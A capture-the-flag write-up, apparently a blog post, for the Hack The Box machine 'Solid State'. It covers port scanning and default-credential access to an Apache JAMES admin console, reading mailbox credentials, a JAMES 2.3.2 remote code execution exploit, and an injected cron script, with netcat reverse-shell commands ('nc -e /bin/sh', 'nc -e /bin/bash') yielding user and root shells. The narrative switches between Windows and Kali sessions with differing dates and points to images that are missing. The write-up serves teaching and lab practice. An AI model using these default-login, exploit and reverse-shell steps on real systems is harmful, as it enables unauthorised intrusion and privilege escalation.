HTB – Solid State

Today we are going to solve another CTF challenge “Solid State” which is available online for those who want to increase their skill in penetration testing. Solid State is retried vulnerable lab presented by Hack the Box.

Level: Medium

Task: find user.txt and root.txt file on victim’s machine.

Let’s begin with nmap port enumeration.

➜  ~ nmap --open -p- -R -T4 --max-retries 3 --min-rate 120 --max-rtt-timeout 300ms -Pn

Starting Nmap 7.60 ( ) at 2018-01-26 20:03 EST
Nmap scan report for
Host is up (0.12s latency).
Not shown: 61105 closed ports, 4424 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip

Taking the discovered ports, we’ll now run detailed scan. This will be much faster than scanning -p-.

c:\Users\jacco>nmap -A -p22,25,80,110,119,4555 --open -R -T4 --max-retries 3 --min-rate 120 --max-rtt-timeout 300ms -Pn
Starting Nmap 7.70 ( ) at 2019-01-30 09:26 W. Europe Standard Time
Nmap scan report for
Host is up (0.030s latency).

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello ( []),
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.4 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
1 25.00 ms
2 33.00 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 40.09 seconds

As always, we have a look at Apache first. I normally always use curl with a few pipes to pull data you think may be useful from the page, such as E-Mail addresses.

c:\Users\jacco>curl | findstr @
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7776 100 7776 0 0 7776 0 0:00:01 --:--:-- 0:00:01 161k
<li class="fa-envelope"><a href="#"></a></li>

Cool, so we did find an E-Mail, and our target is likely a mail server. Maybe we’ll need this later, maybe not, might as well save it.

A quick poke on exploit-db and you’ll find this PDF, which shows how you can achieve remote code execution on Apache JAMES by overwriting /etc/bash_completion.d by creating the user ../../../../../../../../etc/bash_completion.d in JAMES Remote Adminand then sending an E-Mail to them with a nested command in the body which will be executed when a user logs in next. However, we should put this in the back of our mind for now and first check if the default login for JAMES Remote Admin has been changed.

➜  ~ nc 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
Welcome root. HELP for a list of commands

Great, so we have root access to JAMES Remote Admin, but what can we do with this?

listusers                               display existing accounts
adduser [username] [password]           add a new user
setpassword [username] [password]       sets a user's password
--trimmed due to size---

Let’s start by investigating the different mailboxes, we’ll change Mindy’s password so we can login to the JAMES pop3 server.

setpassword mindy password
Password for mindy reset

Now we can login to Mindy’s E-Mail, by initiating a telnet connection to port 110. You can also check out the other mailboxes afterwards.

➜  ~ telnet 110
Connected to
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
USER mindy
PASS password
+OK Welcome mindy
+OK 2 1945
1 1109
2 836
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from ([])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@


+OK Apache James POP3 Server signing off.
Connection closed by foreign host.

Here we go again, what is with people sending their SSH credentials?

Phase 2 – Exploitation

Let’s grab our user flag and check out how restricted this shell actually is!

PS C:\Users\jacco> ssh mindy@
mindy@'s password:P@55W0rd1!2@ Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug 22 14:00:02 2017 from mindy@solidstate:~$ whoami -rbash: whoami: command not found mindy@solidstate:~$ ls bin user.txt mindy@solidstate:~$ cat user.txt 914*****d75 mindy@solidstate:~$ export -p declare -x DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/1001/bus" declare -x HOME="/home/mindy" declare -x LANG="en_US.UTF-8" declare -x LOGNAME="mindy" declare -x MAIL="/var/mail/mindy" declare -x OLDPWD declare -rx PATH="/home/mindy/bin" declare -x PWD="/home/mindy" declare -rx SHELL="/bin/rbash" declare -x SHLVL="1" declare -x SSH_CLIENT=" 19554 22" declare -x SSH_CONNECTION=" 19554 22" declare -x SSH_TTY="/dev/pts/0" declare -x TERM="xterm-256color" declare -x USER="mindy" declare -x XDG_RUNTIME_DIR="/run/user/1001" declare -x XDG_SESSION_ID="1128" mindy@solidstate:~$

So right off the bat we can see our path is /home/mindy/bin and we cannot write to this environmental variable to change our path. In addition commands including / will be ignored, so we cannot use the full path to a binary. Lastly we see we are locked into an rbash shell, which also, is not writable. This is where the exploit mentioned earlier comes into play, we now have a user to login with to trigger our exploit, so we just need to prep a bit.


Since we have enumerated the target network and found Apache James Serer 2.3.2 is running and after Browsing through the internet we stumbled across the Exploit DB module shown below, now copy the whole python code from here.


Paste above copied python code in a text file and make following changes inside payload as highlighted in below image and then save it, we have it as on the desktop.

nc -e /bin/sh 8000

Now run above saved python file as I run using below command:

root@kali:/htb/solidstate# python
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.

Ok Done! The Exploit will work only when someone logs in. So let’s again login into SSH shell using the user Mindy’s Credentials and as soon as we login the exploit begin to work as shown below.

Let’s open a netcat Listener to get the shell which will be generated after our exploit gets completely executed. Now we need to import the python file to reach the terminal and to do so type:

python -c "import pty; pty.spawn('/bin/bash')"

Now let move towards 2nd challenge for root.txt and currently we are in Mindy directory. For root.txt file we need to move into root but I have no idea for further step. Then I recall Mindy has received a mail from admin account send by James, there are chance of getting any hint from James therefore I prefer to grep running process of James by executing following command.

ps aux | grep james

Here aux will work as describe below:

= display processes for all users
u = show the process’s user/owner
x = show processes not attached to a terminal

Great!! It has shown root process for opt file.

Then I move into /opt directory and run ls-al command for exploring all files and folder inside this directory.

Lastly, we setup a listener, when the user mindy logs into ssh it will execute the reverse shell. Below you can see the output from SSH as it loses all its shit.

➜  ~ ssh mindy@
mindy@'s password: 
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 26 23:20:16 2018 from
-rbash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317ݬ\003': command not found
-rbash: L: command not found
--trimmed due to size---

Note: if another user beat you to this exploit you can actually bypass rbash all together by pressing CTRL+C a few times, making this whole process way quicker.

And here’s our reverse shell!

➜  ~ nc -vlnp 8000
listening on [any] 8000 ...
connect to [] from (UNKNOWN) [] 56316
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
python -c 'import pty;pty.spawn("/bin/bash");'

Moving on let’s see what we can figure out about the system. By grepping ps for Jameswe find it’s running a bash script and jvm from the /opt directory. These are things we should investigate, however, poking around at them I wasn’t able to find anything interesting.

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ps aux | grep james
root       352  0.0  0.1   2332   516 ?        Ss   20:08   0:00 /bin/sh /opt/james-2.3.2/bin/
root       383  0.3  7.4 445428 37816 ?        Sl   20:08   0:11 /usr/lib/jvm/java-8-openjdk-i386//bin/java -Djava.ext.dirs=/opt/james-2.3.2/lib:/opt/james-2.3.2/tools/lib!/META-INF/java.policy -Dnetworkaddress.cache.ttl=300 -Dphoenix.home=/opt/james-2.3.2 -jar /opt/james-2.3.2/bin/phoenix-loader.jar

Next let’s have a look for some system crons. We find some, however, it’s doing nothing interesting. Let’s check out the /opt directory James is running from.

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd /opt
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug 22 13:32 .
drwxr-xr-x 22 root root 4096 Jun 18  2017 ..
drwxr-xr-x 11 root root 4096 Aug 22 12:01 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22 13:32

Interesting a root owned, writable python script.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat
#!/usr/bin/env python
import os
import sys
     os.system('rm -r /tmp/* ')

So we didn’t find any cron for this script, but we can test whether this script is being run, and even time the interval between execution.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ touch test
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ls -l
total 0
-rw-rw---- 1 mindy mindy 0 Jan 26 21:13 test
---some time passes---
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ls

Great, so the files in /tmp are being deleted. Let’s add a little bit of code to execute at the end of

Phase 3 – Privilege Escalation

mindy@solidstate:/tmp$ cd /opt
mindy@solidstate:/opt$ echo "os.system('/bin/nc -e /bin/bash 8001')" >>
mindy@solidstate:/opt$ cat
#!/usr/bin/env python
import os
import sys
     os.system('rm -r /tmp/* ')

os.system('/bin/nc -e /bin/bash 8001')

Now, we wait for our shell.

➜  ~ nc -vlnp 8001 
listening on [any] 8001 ...
connect to [] from (UNKNOWN) [] 45182
uid=0(root) gid=0(root) groups=0(root)  <-- bask in the glory of shell!
cd /root
cat root.txt

Let’s also see what the cron was that ran this with our fancy new root privileges.

crontab -l
---trimmed due to size---
*/3 * * * * python /opt/

Author: Jacco Straathof

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *